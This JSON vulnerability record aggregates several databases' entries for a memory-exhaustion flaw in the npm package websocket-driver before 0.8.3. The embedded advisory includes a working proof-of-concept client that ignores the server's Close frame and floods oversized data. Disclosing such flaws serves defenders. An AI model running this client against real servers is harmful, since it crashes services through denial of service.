{"id":"CVE-2026-144302","aliases":["DEBIAN-CVE-2026-144302","EUVD-2026-143535","GHSA-pgmr-8h6h-x8vv"],"status":"published","title":"websocket-driver: Memory exhaustion triggered by client continuing to send message data after the server sent a Close frame","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, after a server calls close(), the parser continues accepting client message data while waiting for the peer's Close response but does not enforce maxLength as it normally would. An unauthenticated client can ignore the server's Close frame and continue a large message over a half-open TCP connection, causing indefinite buffering, memory exhaustion, and a server crash. This issue is fixed in version 0.8.3.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-12-04","score":0.00921,"percentile":0.6152,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true,"poc_reported":true},"cwes":["CWE-770"],"published":"2026-12-03T17:46:40Z","modified":"2026-12-04T21:54:20Z","fixes":[{"ecosystem":"npm","package":"websocket-driver","fixed_in":["0.8.3"],"sources":["ghsa"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.8.3"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"node-websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.4+~cs0.6.14-1","0.7.4+~cs0.6.7-2","0.7.5+~cs0.6.14-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.4+~cs0.6.14-1","0.7.4+~cs0.6.7-2","0.7.5+~cs0.6.14-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.4+~cs0.6.14-1","0.7.4+~cs0.6.7-2","0.7.5+~cs0.6.14-1"]}],"products":[{"vendor":"faye","product":"websocket-driver-node"}],"references":[{"url":"https://github.com/faye/websocket-driver-node/security/advisories/GHSA-pgmr-8h6h-x8vv","tags":["x_refsource_CONFIRM","exploit","advisory"]},{"url":"https://github.com/faye/websocket-driver-node/commit/7f2a3f45971e302db460b5c9a1bf086dbc1cecf4","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/faye/websocket-driver-node/releases/tag/0.8.3","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-144302","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-pgmr-8h6h-x8vv"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/144xxx/CVE-2026-144302.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-144302","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-144302","title":"websocket-driver: Memory exhaustion triggered by client continuing to send message data after the server sent a Close frame","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, after a server calls close(), the parser continues accepting client message data while waiting for the peer's Close response but does not enforce maxLength as it normally would. An unauthenticated client can ignore the server's Close frame and continue a large message over a half-open TCP connection, causing indefinite buffering, memory exhaustion, and a server crash. This issue is fixed in version 0.8.3.","status":"published","published":"2026-12-03T17:46:40.951Z","modified":"2026-12-03T20:08:40.311Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-770"],"ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","date":"2026-12-03"},"updated_at":"2026-12-03T20:21:05.972773Z"}],"euvd":[{"id":"EUVD-2026-143535","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, after a server calls close(), the parser continues accepting client message data while waiting for the peer's Close response but does not enforce maxLength as it normally would. An unauthenticated client can ignore the server's Close frame and continue a large message over a half-open TCP connection, causing indefinite buffering, memory exhaustion, and a server crash. This issue is fixed in version 0.8.3.","status":"published","published":"2026-12-03T17:46:40Z","modified":"2026-12-03T20:08:40Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-12-03T19:33:58.413601Z"}],"ghsa":[{"id":"GHSA-pgmr-8h6h-x8vv","title":"websocket-driver: Memory exhaustion triggered by client continuing to send message data after the server sent a Close frame","description":"### Summary\n\nA WebSocket server built using `websocket-driver` can be made to buffer data from the client beyond the limit set by `maxLength`, if it attempts to close the socket but the client ignores this request and continues to send data on a half-open socket.\n\n### Details\n\nWhen a `websocket-driver` instance calls `close()`, this has the effect of sending a WebSocket Close frame to the other peer. The peer should respond with its own Close frame and then both parties should close the connection.\n\nIf the client ignores the Close frame, and instead continues to send message data, the server will continue to process this data (as it is listening for the client's Close response). However, it does not validate messages as it normally would and fails to reject messages that exceed `maxLength`. This happens even if the server closes the TCP socket, as the client can take advantage of TCP's half-open behaviour to keep sending data.\n\nThe client can abuse this to make the server buffer an indefinite volume of data, ignoring the `maxLength` setting, until it runs out of memory and crashes.\n\nThis was caused by the driver not enforcing validating on incoming messages. It has been mitigated by making the `close()` method put the parser in a state where `maxLength` will still be enforced, and a too-large message will result in it failing the connection.\n\n### Proof of concept\n\nGiven a server configured as follows, which responds to an incoming message by invoking `driver.close()`:\n\n```js\nconst net = require('net')\nconst websocket = require('websocket-driver')\n\nlet server = net.createServer((connection) =\u003e {\n  let driver = websocket.server()\n\n  driver.on('connect', () =\u003e {\n    if (websocket.isWebSocket(driver)) driver.start()\n  })\n  driver.on('close', () =\u003e connection.end())\n\n  connection.pipe(driver.io).pipe(connection)\n\n  // the application starts the closing handshake, e.g. it rejects a message\n  driver.on('message', () =\u003e driver.close())\n})\n\nserver.listen(5077, '127.0.0.1')\n\n// observation only: external memory held by ArrayBuffers (MiB)\nsetInterval(() =\u003e {\n  let MiB = Math.round(process.memoryUsage().arrayBuffers / 1048576)\n  console.log('ArrayBuffers (MiB): ' + MiB)\n}, 1000)\n```\n\nA client may connect to this server, send a WebSocket handshake, followed by a simple message, triggering the server's `close()` call. After this, it ignores the server's request to close the socket and instead initiates the sending of a very large message, beyond the size limit normally allowed by the server.\n\n```js\nconst net = require('net')\n\nlet socket = net.connect(5077, '127.0.0.1')\n\nsocket.write(\n  'GET / HTTP/1.1\\r\\n' +\n  'Host: 127.0.0.1\\r\\n' +\n  'Connection: Upgrade\\r\\n' +\n  'Upgrade: websocket\\r\\n' +\n  `Sec-WebSocket-Key: ${btoa('the sample nonce')}\\r\\n` +\n  'Sec-WebSocket-Version: 13\\r\\n' +\n  '\\r\\n'\n)\n\nsocket.once('data', () =\u003e {\n  // masked text frame, FIN = 1, payload 'a' -\u003e server replies with a Close frame\n  socket.write(Buffer.from([0x81, 0x81, 0, 0, 0, 0, 0x61]))\n\n  socket.once('data', () =\u003e {\n    // ignore the Close frame\n    // masked binary frame, FIN = 1, 64-bit payload length = 2^53 - 1\n    socket.write(Buffer.from([0x82, 0xff, 0x00, 0x1f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0, 0, 0, 0]))\n\n    let chunk = Buffer.alloc(1 \u003c\u003c 20)\n    let flood = () =\u003e {\n      while (socket.write(chunk)) {}\n      socket.once('drain', flood)\n    }\n    flood()\n  })\n})\n\nsocket.on('error', () =\u003e {})\n```\n\nWhen this client connects, the server's memory use will grow indefinitely. After patching, the server rejects the large message and its memory use remains stable.\n\n### Impact\n\nAfter a server calls `driver.close()`, an unauthenticated client that ignores the Close frame can make the server buffer unlimited data until it runs out of memory.","status":"published","published":"2026-12-04T21:54:20Z","modified":"2026-12-04T21:54:20Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-12-04T21:59:20.06816Z"}],"nvd":[{"id":"CVE-2026-144302","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, after a server calls close(), the parser continues accepting client message data while waiting for the peer's Close response but does not enforce maxLength as it normally would. An unauthenticated client can ignore the server's Close frame and continue a large message over a half-open TCP connection, causing indefinite buffering, memory exhaustion, and a server crash. This issue is fixed in version 0.8.3.","status":"published","published":"2026-12-03T18:17:26.737Z","modified":"2026-12-04T15:47:41.367Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-770"],"ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","date":"2026-12-03"},"updated_at":"2026-12-03T21:23:58.882957Z"}],"osv":[{"id":"CVE-2026-144302","title":"websocket-driver: Memory exhaustion triggered by client continuing to send message data after the server sent a Close frame","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, after a server calls close(), the parser continues accepting client message data while waiting for the peer's Close response but does not enforce maxLength as it normally would. An unauthenticated client can ignore the server's Close frame and continue a large message over a half-open TCP connection, causing indefinite buffering, memory exhaustion, and a server crash. This issue is fixed in version 0.8.3.","status":"published","published":"2026-12-03T17:46:40.951Z","modified":"2026-12-04T21:02:46.871817979Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-12-04T21:27:50.529822Z"},{"id":"DEBIAN-CVE-2026-144302","upstream":["CVE-2026-144302"],"description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, after a server calls close(), the parser continues accepting client message data while waiting for the peer's Close response but does not enforce maxLength as it normally would. An unauthenticated client can ignore the server's Close frame and continue a large message over a half-open TCP connection, causing indefinite buffering, memory exhaustion, and a server crash. This issue is fixed in version 0.8.3.","status":"published","published":"2026-12-03T18:17:26.737Z","modified":"2026-12-04T05:00:12.98014927Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-12-04T05:28:35.416179Z"}]}}
